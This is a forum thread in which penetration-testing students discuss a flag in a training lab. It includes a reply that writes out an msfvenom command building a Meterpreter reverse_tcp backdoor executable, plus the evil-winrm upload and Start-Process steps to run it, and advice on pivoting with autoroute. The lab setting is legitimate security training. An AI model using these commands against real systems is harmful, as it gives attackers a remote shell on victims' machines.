eCPPT - Powershell for Pentesters CTF 1

Cyber Security Penetration Testing Student (SP)
1

Hi Everyone,

I am currently working on the eCPPT - PowerShell for Pentesters CTF 1 and have successfully obtained the first two flags. However, I am encountering difficulties with the third task.

So far, I have utilized the evil-winrm tool to gain a shell on the victim machine. The objective of Task 3 is as follows:

Identify a misconfigured resource on web.prod.local. A sensitive resource on web.prod.local has misconfigured permissions and is not directly accessible from Kali. Locate the third flag within this resource."**

I attempted to craft a Meterpreter payload using msfvenom intending to establish a session that would allow me to pivot to the web.prod.local machine. I generated a .ps1 payload and uploaded it to the victim system via evil-winrm.
I tested both reverse_https and reverse_tcp payloads but nothing works.

Can anyone help me please ?

2

Hi, to get a Meterpreter session on the server.prod.local machine, you can do the following:

  1. Create a backdoor .exe with MSFVenom:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=yourIP LPORT=1234 -f exe -o shell.exe

  2. Set up a handler to listen.

  3. From the session opened with Evil-Winrm:
    upload shell.exe
    Start-Process “shell.exe”

This way, you should get a Meterpreter session that will allow you to perform pivoting to continue.
Warning: this lab has a lot of issues; most of the time it doesn’t even work if you do everything correctly.
Don’t spend too much time on it.

3

Hi, i did the same but it did not work. I will try it again.

However, thank you so much for your answer and clear explanation.

4

Since you do not have a browser on server.prod, you will need to forward traffic from web.prod through server.prod to your kali linux. Use techniques in the training videos. The videos have a very clear step by step on how to use autoroute and other exploits.

Then, open your browser, put the IP of the web.prod then add /flag3.txt. Voiala! You have it!

5

I’m stuck on the same flag. Did you archieve to get it ?
thx

6

NO SPOILER : so basically @Ski2per_Sec was right, but remember to create the payload with the same arch of the system (x64).

1 Like